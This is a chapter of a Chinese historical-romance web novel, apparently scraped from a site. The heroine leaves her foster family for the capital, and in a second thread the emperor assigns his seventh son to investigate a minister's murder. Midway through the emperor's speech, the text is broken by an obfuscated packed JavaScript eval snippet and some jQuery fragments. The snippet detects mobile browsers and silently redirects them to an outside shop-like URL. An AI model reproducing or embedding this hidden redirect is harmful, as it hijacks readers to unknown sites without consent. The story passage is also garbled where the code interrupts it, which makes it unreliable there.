4. 一别云岫

作品:《怎渡

    “如何?”秦盈川将秦容川轻推至镜前,上下打量着,眼里满是对自己手艺的得意与欣赏。


    “二姐的手艺自是极好的,”秦容川依言望向镜中,她梳着规整的云髻,发间两侧各簪一支金丝镂空短钗,如双星拱月。发髻间一支金镶珍珠的镂空蝶钗跃然其上,与右边青粲色的花玉短钗甚是相配,蝶钗之侧,一支青玉步摇斜斜插入,垂下数缕细长的银色流苏,随着她细微的动作泠泠作响。


    脑后则系着浅绿与月白二色的轻纱发带,于青丝间自然垂落,与步摇相映,更添几分飘逸。些许碎发散落鬓边,恰到好处的衬得那对橘色珊瑚耳坠愈发明艳动人,为她平日略显清冷的面容添了不少颜色。“会不会太过招摇了些?”


    “招摇什么?”秦盈川不以为意,笑着打趣,“京城里头那些高门贵女,哪个不是珠翠满头的?你这般打扮,不算得些什么。瞧,这身鹅黄衣裙衬得你愈发温婉动人,我若是个男子,只需看上一眼,怕是连魂儿都要被勾了去。”她说着,又替妹妹顺了顺衣服,“你合该多打扮打扮,日日穿的那样素净,没得辜负了这般好颜色,既是要做戏,也要做全套才是。”


    “好好好,依了二姐便是。”秦容川无奈一笑,起身将一条质地轻软的青色披帛搭上臂弯,“既如此,二姐也莫再将你那些宝贝胭脂水粉藏得严严实实的,不如分我一些。”


    “早给你备好了,”秦盈川笑着瞥了她一眼,“都已打包好,交给吹云那丫头收着了,行了,不同你多嘴,我再去瞧瞧外头准备的如何了,你也快些,莫误了时辰。”


    “嗯。”


    待秦盈川离去,秦容川脸上的笑意渐渐收去,她来到偏室一处清净角落,那里安静的供奉着温砚舟与林微兰的牌位。


    她提裙郑重的跪了下去,对着双亲的牌位,深深的叩了三个头。


    “爹,娘,”她抬起眼,声音低而坚定,“女儿今日便要下山了,此去定会报仇雪恨,彻查真相,以告慰我温家满门在天之灵,请爹娘放心,我也定会好好的活下去。”


    或许,只有疼痛,才能让人铭记于心,她不知此去经年,何时方能再归。


    早已是经历过生离死别的人,深知人生本就萍聚萍散,这些都终究是要面对的。


    她轻轻拭去眼角不知何时流出的眼泪,转身走出房门,向庄门而去。


    倒是许久未见到庄内人齐聚的场面了。


    “容丫头来啦!容丫头来啦!”站在最前头的陈家娘子眼尖,高声喊道,声里带着热情与不舍。


    秦容川心中一暖又一酸,她走至众人面前提起衣裙再次郑重跪下,“爹,娘,二姐,三哥,还有大家,”她目光扫过一张张熟悉的脸庞,声音清亮却难掩哽咽,“救命之恩,养育之情,容川没齿难忘,待事了之日,定竭尽全力,回报此恩!”


    说着,她又是三个响头扣下,情真意切。


    “哎呀,这是做什么,好不容易打扮的,险些又弄脏了。”左清河连忙上前心疼的将她扶起,替她拍去衣裙的灰尘道。


    “一家人还讲究这些虚礼作甚,快起来快起来。”秦远山也上前帮扶,眼中亦是不舍,“真快……一晃眼你们这些孩子都长大了,容儿,京城不比庄内,人心复杂,定要照顾好自己。”他顿了顿,语气微沉,“我把你拘在这庄内十年,你可曾怪过我?”


    “从未”,秦容川毫不犹豫的摇了摇头,目光坚定道,“时辰不早了,女儿这便告辞了,再晚可要耽误了。”


    “去了京城,记得常写信回来,给爹娘,还有我。”秦乐川在旁不舍的叮嘱。


    秦盈川闻言转手就是一掌:“好你个没良心的?我呢?就把你二姐忘了?”


    “都写!都写!”秦容川笑出了声,沉闷的心情也被这温情的插曲冲淡些许,“大家且都回吧,不必再送了。”她挥挥手,后退几步,转过身去便不再回头,身影渐行渐远。


    虽是离别,却并未感到太多伤悲,短暂的离别,不过是为了日后更好的重逢罢了。秦家给予的温暖,她会永远铭记在心间。若非身负血海深仇,不得不报,在这云岫山庄平淡一生,或许亦是人间至幸。


    她穿过山下那片竹林,只见南亭旁果然停着一辆规制不俗的马车,一名小厮正靠在车前打盹。


    亭内一男子正缓缓踱步,一袭白衣似雪衬得他身姿修长,玉冠束发,气质清雅。见秦容川一行人到来,眼神一亮,立刻唤醒小厮,快步迎了上来。


    “这位姑娘,想必便是秦四小姐了?”男子含笑,拱手行礼,姿态优雅,语气温和。


    “嗯,正是。”秦容川双手轻轻搭于腰间,微微屈膝还礼,心想“早知辛家会派这般人物来,真该让二姐一同下山,瞧这郎君温文尔雅,风度翩然,倒像是二姐会中意的类型。”


    “此乃我家五公子,辛有昭。”不等那公子开口,旁边机灵的小厮便抢先答到,语气中带着几分自豪。


    秦容川微微一怔,本以为秦家隐世多年,最多也派个得力的管家来接便是,未曾想竟劳动了府上公子亲至,看来辛家对此事极为重视。


    “秦小姐一路辛苦,”辛有昭笑容和煦,语气真诚,“您乃家父再三叮嘱的贵客,万万怠慢不得,还请随我上车,此去京城尚需半日路程,也好赶在天黑前入府安顿。”


    “有劳辛公子。”秦容川点头随即转身看着身后,吹云吹雨正带着庄内帮忙的青壮们抬着大大小小的箱子聚了过来,她不禁扶额,回头对上辛有昭的目光,难得露出一丝心虚窘迫。


    二姐也真是的,竟不知不觉的给她塞了这许多东西,这可如何是好。


    辛有昭顺着她的目光看去,了然的微微一笑,笑容里毫无不耐,反而宽慰道:“女孩子家的行囊繁琐些实属平常,秦小姐还请先上车安坐,这些交由在下安排便是。”


    “那……便再三劳烦辛公子了。”秦容川实在有些不好意思,连忙领着吹云吹雨快速钻进了宽敞的马车内,逃离这尴尬之境。


    皇宫。百花亭。


    “夏公公。”


    “七殿下可来了,”夏听抹了把额头的冷汗,示意沈与疏边走边低声道,“皇上正恼今日朝堂之事,发了好大的脾气,殿下您可得多劝着些,前面亭内便是了,老奴就送到这儿,殿下自行过去吧。”


    夏听躬身行礼,退至道旁。


    “有劳夏公公了。”沈与疏微微颔首。


    他穿过游廊,来到亭前,理了理衣袍,行礼轻声唤道:“父皇。”


    亭内帘纱遮掩,隐约见一人端坐,正琢磨着下一步棋在哪落子。


    “进来吧,不必多礼,快坐下陪朕下一局。”沈渊并未抬头,只向前伸手示意他落座。


    “是。”


    “朕还是与你下棋最畅快,唯有你,无论输赢皆干脆坦荡,你那几个兄弟都窥朕脸色,乏味的很。”


    “儿臣身无长物,不像几位兄长早已能为父皇分忧国事,也唯有陪着下下棋,喝喝茶这点用处了。”


    “分忧?不给朕添堵便是万幸,连日来弹劾太子的奏本堆积如山,朕将户部的账目交给他理,他倒好,竟将朕刚提拔的户部侍郎王敬给理死了!今日朝堂之上,乱哄哄吵作一团,深恐下一个死的便是自己,竟无一人敢站出来彻查此事,只有你二哥主


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16696927|188999||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    动请缨,这事,你如何看?”


    “……父皇明知儿臣素来不理会朝政,这一问,可还真把儿臣问住了。”


    “你也快近弱冠之年,怎地还终日只知听戏吃酒,不思进取?”沈渊蹙眉,“姑且言之,朕赦你无罪。”


    “既是二哥愿查,父皇为何不交由他去查?”


    “哼,你二哥与太子明争暗斗数年,朕岂能不知?交与他,朕闭着眼睛都知道是何结果,他们平日里小打小闹,朕尚可睁一只眼闭一只眼,如今闹出人命,震动朝野,朕难道还任由他们去吗?”


    “儿臣愚见,当务之急似是先查出王敬的死因,平息谣言,维持朝堂稳定为重。”


    “然则满朝文武竟无一人愿淌这趟浑水,”沈渊目光一凝,看着他道,“与疏啊,你可愿为朕分此忧,去查上一查?”


    “儿臣……并非不愿,只是怕万一查不出岂不是为父皇徒增烦恼,何况儿臣毫无经验,实在不知从何查起。”


    “诶,有这份心便好,”沈渊打断他,语气不容置疑,“朕稍后便下旨,予你一个大理寺丞的名衔,你安心去查便是,整个大理寺随你出入调遣,这是皇城司的令牌,你也拿着,只管差遣便是。”


    沈与疏双手接过令牌道:“儿臣领旨,只是儿臣若是……”


    “你只管放手去查,”沈渊再次打断,“若有紧急情况,朕许你先斩后奏,但定要给朕查个水落石出,朕倒要看看,究竟是谁,胆大包天至此,敢在朕的眼皮子底下谋害朝廷重臣!”说着他气愤不已,一拳重锤在棋盘之上。


    “是,儿臣定当竭尽全力,查明此案,不负父皇的信任。”沈与疏起身行礼。


    “嗯,你也难得入宫一趟,便去瞧瞧你母妃吧,她亦时常念着你。”


    “那儿臣便先告退了。”


    “去吧。”沈渊挥了挥手。


    “夏听!”


    “老奴在。”


    “朕瞧着这虽已立冬了,但这园中的山茶倒是开的正好,陪朕再走走。”


    “是。”


    “你觉得朕把此案交与老七,是不是太过儿戏了些?”


    “这……老奴……”


    “别支支吾吾的,哑巴了?”


    “老奴愚见,陛下圣明。此案既不便交由涉事的太子殿下,亦不便交由与太子素有间隙的二殿下,七殿下常居宫外,与两边皆不亲近,倒是公平了许多。”


    “不愧是跟在朕身边的老人,明白朕的心思,”沈渊笑了笑,颔首道,“把此事交给他正好也磨一磨他那顽劣的性子,整日的只知听戏吃酒,这像个什么样子。”


    “七殿下聪慧仁厚,日后必能会体会陛下的一片苦心。”夏听抬眼望了望天色,只见远处黑云飘来,连忙道,“老奴瞧着这天色似有不对,恐怕有雨将至,不如早些摆驾回宫吧。”


    “确是阴沉了不少,起风了,看来要变天了,回吧。”


    “是。”


    秦容川指尖微抬,轻轻掀开车窗锦帘一角,见长街宽阔,车水马龙,热闹非凡。


    “秦小姐,可是有什么不适,我们已入京了,很快便到府上。”辛有昭关切的询问。


    “并无不适,只是在山野清静之地住的久了,未曾见过如此热闹的景象,一时有些晃神。”


    “原来如此,待秦小姐安顿下来,若有闲暇,在下可陪着小姐在城中四处走走,也好尽些地主之谊。”


    秦容川微微一笑,并未立即接话,她捏紧了置于膝上的手,指尖微微陷入柔软的面料之中。


    一别十年,她,终于回来了。


    京城,别来无恙。